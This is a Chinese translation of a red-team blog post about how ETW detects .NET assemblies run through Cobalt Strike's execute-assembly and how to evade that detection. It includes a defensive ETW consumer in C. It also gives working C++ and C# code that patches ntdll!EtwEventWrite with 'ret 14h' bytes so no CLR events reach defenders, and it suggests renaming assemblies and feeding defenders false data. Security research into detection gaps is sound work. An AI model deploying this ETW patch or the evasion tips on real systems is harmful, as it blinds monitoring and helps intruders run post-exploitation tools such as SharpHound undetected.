如何隐藏恶意.NET行为:ETW检测原理及规避技术

阅读量    402597 |   稿费 200

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

0x00 前言

在Powershell检测机制越来越完善后,攻击者也逐渐开始使用较少被审查的技术(比如.NET)。经过一段时间的改善后,现在我们可以在后渗透(post-exploitation)阶段使用各种.NET payload,我们的武器库中经常能看到GhostPackSharpHound等工具的身影,而Cobalt Strike的execute-assembly能够帮我们进一步强化这些payload的投递。

这个函数大大改变了红队的操作习惯,我认为这也是.NET工具日益流行的原因之一。通过这种方式,操作人员可以在后期渗透测试中,从非托管(unmanaged)进程中运行.NET程序集(Assembly)。

与Powershell类似,随着时间的推移,微软及端点安全厂商也引入了许多防御功能,以便减少.NET payload检测中的盲点(比如.NET 4.8开始引入的AMSI),因此攻击者如果想继续使用这种技术,就需要尽可能保持隐蔽性。就目前来看,虽然AMSI并没有起到太多作用,但防御方使用的其他技术可能还没有得到足够多的重视。

在这几篇文章中,我想与大家探讨这方面内容,比如蓝队如何检测.NET恶意执行行为、payload执行方式(比如通过execute-assembly),以及攻击者如何规避这些检测机制(包括具体的检测绕过方式、减少工具被暴露的风险)。

在第1篇文章中,我们将重点讨论ETW(Event Tracing for Windows),以及如何利用ETW获取非托管进程中执行的.NET Assembly。

 

0x01 execute-assembly

为了了解防御方的检测能力,我们首先需要理解攻击者所使用的技术的原理,比如execute-assembly的工作原理。

该方法主要依赖3个接口:ICLRMetaHostICLRMetaHost以及ICLRRuntimeHost。为了能将CLR载入我们“非托管的”进程中(否则就变成典型的、不具备CLR的Windows进程),我们需要调用CLRCreateInstance方法。使用该函数后,我们能获取到一个ICLRMetaHost接口,该接口能够提供当前可用的.NET Frameworks列表:

ICLRMetaHost *metaHost = NULL;    
IEnumUnknown *runtime = NULL;

if (CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost) != S_OK) {
    printf("[x] Error: CLRCreateInstance(..)\n");
    return 2;
}

if (metaHost->EnumerateInstalledRuntimes(&runtime) != S_OK) {
    printf("[x] Error: EnumerateInstalledRuntimes(..)\n");
    return 2;
}

选择某个运行时后,我们可以实例化ICLRRuntimeInfo接口,利用该接口创建我们的ICLRRuntimeHost接口。

frameworkName = (LPWSTR)LocalAlloc(LPTR, 2048);
if (frameworkName == NULL) {
    printf("[x] Error: malloc could not allocate\n");
    return 2;
}

// Enumerate through runtimes and show supported frameworks
while (runtime->Next(1, &enumRuntime, 0) == S_OK) {
    if (enumRuntime->QueryInterface<ICLRRuntimeInfo>(&runtimeInfo) == S_OK) {
        if (runtimeInfo != NULL) {
            runtimeInfo->GetVersionString(frameworkName, &bytes);
            wprintf(L"[*] Supported Framework: %s\n", frameworkName);
        }
    }
}

// For demo, we just use the last supported runtime
if (runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost) != S_OK) {
    printf("[x] ..GetInterface(CLSID_CLRRuntimeHost...) failed\n");
    return 2;
}

创建成功后,我们可以通过调用2个方法完成整个操作:ICLRRuntimeHost::Start用来将CLR载入我们的进程中,ICLRRuntimeHost::ExecuteInDefaultAppDomain用来传入Assembly的位置,以及待执行的方法名:

// Start runtime, and load our assembly
runtimeHost->Start();

printf("[*] ======= Calling .NET Code =======\n\n");
if (runtimeHost->ExecuteInDefaultAppDomain(
    L"myassembly.dll",
    L"myassembly.Program",
    L"test",
    L"argtest",
    &result
) != S_OK) {
    printf("[x] Error: ExecuteInDefaultAppDomain(..) failed\n");
    return 2;
}
printf("[*] ======= Done =======\n");

如果大家想了解完整的运行过程,可参考我提供的这个Gist

编译并执行后,我们可以在非托管进程中加载并执行.NET Assembly,整个过程非常简单。

 

0x02 检测机制

了解execute-assembly的工作原理后,我们需要澄清防御方对应的检测机制。这里常用的一种检测方法为ETW(Event Tracing for Windows),最初引入该功能的应用场景为调试和性能监控,但现在安全产品及防御方经常使用该工具来挖掘潜在的危险行为。

Countercept之前发表过一系列文章,介绍了.NET的恶意使用场景,从这些文章中我开始了解ETW在检测机制中的应用。此外,@FuzzySecSilkETW进一步演示了如何利用ETW来分析微软的.NET CLR。Endgame也提供了一款PoC工具(ClrGuard),可以用来检测并终止恶意.NET进程。

在进一步分析前,我想提醒一下:直接使用Github上相关项目提供的“Releases”版payload并不是一个睿智的主意,这是目前被重点盯防的区域。现在已经有许多项目(比如GhostPack)注意到这一点,这些项目直接不提供预编译好的二进制文件,迫使用户自己编译解决方案。如果有人执迷不悟,还采用这种偷懒方式,那么很容易就会被检测出来。这里我们以SharpHound为例来测试一下。

如果想查看进程中已加载的Assembly,我们可以使用ProcessHacker之类的工具。当我们使用execute-assembly来加载SharpHound时,可以通过该工具来观察运行结果。如下图所示,我们可以根据.NET Assembly名,发现某个代理进程(这里为w32tm.exe)正在托管SharpHound:

如果想了解这类工具如何枚举.NET Assembly,这里我们可以创建一个非常简单的ETW consumer,获取某个进程加载并执行.NET Assembly的信息。

不幸的是,创建ETW consumer并不是特别直观的一个过程,我们可以参考ProcessHacker的实现方式,最终创建出自己的代码,如下所示:

#define AssemblyDCStart_V1 155

#include <windows.h>
#include <stdio.h>
#include <wbemidl.h>
#include <wmistr.h>
#include <evntrace.h>
#include <Evntcons.h>

static GUID ClrRuntimeProviderGuid = { 0xe13c0d23, 0xccbc, 0x4e12, { 0x93, 0x1b, 0xd9, 0xcc, 0x2e, 0xee, 0x27, 0xe4 } };

// Can be stopped with 'logman stop "dotnet trace" -etw'
const char name[] = "dotnet trace\0";

#pragma pack(1)
typedef struct _AssemblyLoadUnloadRundown_V1
{
    ULONG64 AssemblyID;
    ULONG64 AppDomainID;
    ULONG64 BindingID;
    ULONG AssemblyFlags;
    WCHAR FullyQualifiedAssemblyName[1];
} AssemblyLoadUnloadRundown_V1, *PAssemblyLoadUnloadRundown_V1;
#pragma pack()

static void NTAPI ProcessEvent(PEVENT_RECORD EventRecord) {

    PEVENT_HEADER eventHeader = &EventRecord->EventHeader;
    PEVENT_DESCRIPTOR eventDescriptor = &eventHeader->EventDescriptor;
    AssemblyLoadUnloadRundown_V1* assemblyUserData;

    switch (eventDescriptor->Id) {
        case AssemblyDCStart_V1:
            assemblyUserData = (AssemblyLoadUnloadRundown_V1*)EventRecord->UserData;
            wprintf(L"[%d] - Assembly: %s\n", eventHeader->ProcessId, assemblyUserData->FullyQualifiedAssemblyName);
            break;
    }
}

int main(void)
{
    TRACEHANDLE hTrace = 0;
    ULONG result, bufferSize;
    EVENT_TRACE_LOGFILEA trace;
    EVENT_TRACE_PROPERTIES *traceProp;

    printf("ETW .NET Trace example - @_xpn_\n\n");

    memset(&trace, 0, sizeof(EVENT_TRACE_LOGFILEA));
    trace.ProcessTraceMode    = PROCESS_TRACE_MODE_REAL_TIME | PROCESS_TRACE_MODE_EVENT_RECORD;
    trace.LoggerName          = (LPSTR)name;
    trace.EventRecordCallback = (PEVENT_RECORD_CALLBACK)ProcessEvent;

    bufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(name) + sizeof(WCHAR);

    traceProp = (EVENT_TRACE_PROPERTIES*)LocalAlloc(LPTR, bufferSize);
    traceProp->Wnode.BufferSize    = bufferSize;
    traceProp->Wnode.ClientContext = 2;
    traceProp->Wnode.Flags         = WNODE_FLAG_TRACED_GUID;
    traceProp->LogFileMode         = EVENT_TRACE_REAL_TIME_MODE | EVENT_TRACE_USE_PAGED_MEMORY;
    traceProp->LogFileNameOffset   = 0;
    traceProp->LoggerNameOffset    = sizeof(EVENT_TRACE_PROPERTIES);

    if ((result = StartTraceA(&hTrace, (LPCSTR)name, traceProp)) != ERROR_SUCCESS) {
        printf("[!] Error starting trace: %d\n", result);
        return 1;
    }

    if ((result = EnableTraceEx(
        &ClrRuntimeProviderGuid,
        NULL,
        hTrace,
        1,
        TRACE_LEVEL_VERBOSE,
        0x8, // LoaderKeyword
        0,
        0,
        NULL
    )) != ERROR_SUCCESS) {
        printf("[!] Error EnableTraceEx\n");
        return 2;
    }

    hTrace = OpenTrace(&trace);
    if (hTrace == INVALID_PROCESSTRACE_HANDLE) {
        printf("[!] Error OpenTrace\n");
        return 3;
    }

    result = ProcessTrace(&hTrace, 1, NULL, NULL);
    if (result != ERROR_SUCCESS) {
        printf("[!] Error ProcessTrace\n");
        return 4;
    }

    return 0;
}

构造完consumer后,我们可以运行该程序,然后再次通过Cobalt Strike中的execute-assembly选项来运行Sharphound,整个过程可参考此处视频

从视频中可知,我们能成功获取到Sharphound的Assembly名称,这足以捕捉到该工具的蛛丝马迹。现在大家能想到一种直观的规避方式,那就是重新编译该工具,重命名Assembly,如下所示:

msbuild.exe /p:AssemblyName=notmalware ...

如果检测机制基于Assembly名,那么这种方式的确行之有效。然而,我们可以进一步改进ETW工具,获取正在被调用的可疑方法,如下所示:

...
switch (eventDescriptor->Id) {
  case MethodLoadVerbose_V1:
    methodUserData = (struct _MethodLoadVerbose_V1*)EventRecord->UserData;
    WCHAR* MethodNameSpace = methodUserData->MethodNameSpace;
    WCHAR* MethodName = (WCHAR*)(((char*)methodUserData->MethodNameSpace) + (lstrlenW(methodUserData->MethodNameSpace) * 2) + 2);
    WCHAR* MethodSignature = (WCHAR*)(((char*)MethodName) + (lstrlenW(MethodName) * 2) + 2);
    wprintf(L"[%d] - MethodNameSpace: %s\n", eventHeader->ProcessId, methodUserData->MethodNameSpace);
    wprintf(L"[%d] - MethodName: %s\n", eventHeader->ProcessId, MethodName);
    wprintf(L"[%d] - MethodSignature: %s\n", eventHeader->ProcessId, MethodSignature);
    break;
...

现在即使我们重命名SharpHound Assembly,再次运行时,我们还是能根据SharpHound相关的命名空间、类名以及方法名发现恶意行为的存在,参考此处视频

如果大家想自己动手试一下这个ETW consumer,可以访问此处获取源代码。

了解这些信息后,现在我们可以再次混淆方法名(大家可以参考我之前的文章),但最终我们每次都需要跟ETW玩猫鼠游戏。

 

0x03 ETW如何检测CLR事件

根据前面分析,我们的目标已经十分明确:需要避免ETW向防御方报告我们的恶意行为。为了完成该任务,我们首先需要了解ETW如何检测到CLR相关事件。

这里我们以clr.dll为例,看一下是否能捕捉到事件触发的时机。我们可以使用Ghidra加载PDB,寻找AssemblyDCStart_V1符号,最终找到如下方法:

前面我们使用自己开发的ETW consumer可以观察到Assembly的加载动作,这里我们能否找到相关事件的具体生成时机呢?我们可以运行WinDBG,在上图ModuleLoad方法后调用的所有ntdll!EtwEventWrite上设置断点,断点触发后,我们可以找到Assembly名(这里为test)的发送操作:

这里我们能得到2个信息:首先,这些ETW事件发送自用户模式;其次,这些ETW事件发送自我们能够控制的某个进程。显然,防御方不能依赖恶意进程自己举报自己正在执行恶意操作。

 

0x04 如何禁用.NET ETW

从前文可知,依赖ETW来发现恶意行为存在一些缺陷,现在我们可以稍微修改非托管.NET加载程序,patch掉ntdll!EtwEventWrite调用。

这里我们以x86架构为例,研究EtwEventWrite函数的操作过程。分析该函数对应的反汇编代码,可以看到该函数通过ret 14h操作码实现函数返回:

为了禁用该函数正常功能,这里我们在函数开头处直接使用ret 14h对应的字节码(即c21400)。

// Get the EventWrite function
void *eventWrite = GetProcAddress(LoadLibraryA("ntdll"), "EtwEventWrite");

// Allow writing to page
VirtualProtect(eventWrite, 4, PAGE_EXECUTE_READWRITE, &oldProt);

// Patch with "ret 14" on x86
memcpy(eventWrite, "\xc2\x14\x00\x00", 4);

// Return memory to original protection
VirtualProtect(eventWrite, 4, oldProt, &oldOldProt);

完成该操作后,可以看到该函数会直接返回,同时栈状态恢复正常:

那么如果现在我们运行SharpHound Assembly,前面我们使用的ETW检测方式是否还能正常工作?在patch ETW之前,我们能看到如下类似信息:

patch完成后,没有任何事件会被记录下来:

大家可以访问此处下载相关源码。

如果我们使用自己的非托管进程来执行.NET Assembly,这种技术当然非常有用,但如果我们面对的是托管进程呢?比如,我们能否在调用Assembly.Load前执行相同的patch操作呢?其实在.NET内部patch ETW的确没那么完美,主要是因为在patch点之前,我们不可避免会留下一些痕迹,但完成patch后,我们依然能够隐藏后续的Assembly加载操作:

using System;
using System.Reflection;
using System.Runtime.InteropServices;

namespace test
{
    class Win32
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);

        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
    }

    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("ETW Unhook Example @_xpn_");

            // Used for x86, I'll let you patch for x64 ;)
            PatchEtw(new byte[] { 0xc2, 0x14, 0x00 });

            Console.WriteLine("ETW Now Unhooked, further calls or Assembly.Load will not be logged");
            Console.ReadLine();
            //Assembly.Load(new byte[] { });
        }

        private static void PatchEtw(byte[] patch)
        {
            try
            {
                uint oldProtect;

                var ntdll = Win32.LoadLibrary("ntdll.dll");
                var etwEventSend =   Win32.GetProcAddress(ntdll, "EtwEventWrite");

                Win32.VirtualProtect(etwEventSend, (UIntPtr)patch.Length, 0x40, out oldProtect);
                Marshal.Copy(patch, 0, etwEventSend, patch.Length);
            }
            catch
            {
                Console.WriteLine("Error unhooking ETW");
            }
        }
    }
}

执行测试用例后,可以看到patch之前仍然会有些事件产生,但patch成功后系统已不再记录任何事件:

现在如果我们使用的工具依赖ETW作为数据采集源(比如ProcessHacker),我们将无法得到任何有用信息:

大家可以利用这些技术来发挥自己的创造力,比如向防御方提供虚假信息、过滤掉可能危险的行为特征。除了patch ntdll!EtwEventWrite之外,我们还有其他方法能够禁用ETW。这里最关键的一点是:尽管ETW在行为检测上非常有用,但仍然存在其局限性。

希望本文能给大家在渗透测试中提供思路。在第2篇文章中,我们将探讨其他内容,分析如何避免payload被防御方提取及分析。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多